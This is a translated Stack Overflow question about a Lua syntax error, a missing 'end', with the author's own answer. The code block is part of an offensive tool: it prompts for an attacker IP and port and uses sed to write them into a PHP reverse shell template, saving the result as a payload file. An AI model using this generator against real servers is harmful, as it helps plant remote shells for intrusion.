几个小时后,我仍在寻找这段代码中缺失的结尾!
if ( arg[1] == "-rv" and arg[2] == "--generator" )
then
print("Please give your ip address (If your attack is local give your local address else give your public ip)")
io.write("->: ")
ip = io.read()
print("Please provide a port number")
io.write("->: ")
port = io.read()
print("What you name you want to give to the reverse shell (Make sure you add .php at the end)")
io.write("->: ")
path = io.read()
os.execute("sed -i \'49s/.*/$ip = " .. "'" .. ip .. "'" .. ";/\' reverse_shells/php-reverse-shell.php && " .. " sed -i \'50s/.*/$port = " .. "'" .. port .. "'" .. ";/\' reverse_shells/php-reverse-shell.php && cat reverse_shells/php-reverse-shell.php > " .. path)
print("[:)] Done!")
print("[*] Saved to " .. path )
end
function cms_detect()正如我说的,我尝试搜索结束2次,删除/添加选项卡,但仍然找不到它!
发布于 2022-03-22 06:21:09
好的,这是我的错,因为我没有在函数中添加end
https://stackoverflow.com/questions/71567666
复制相似问题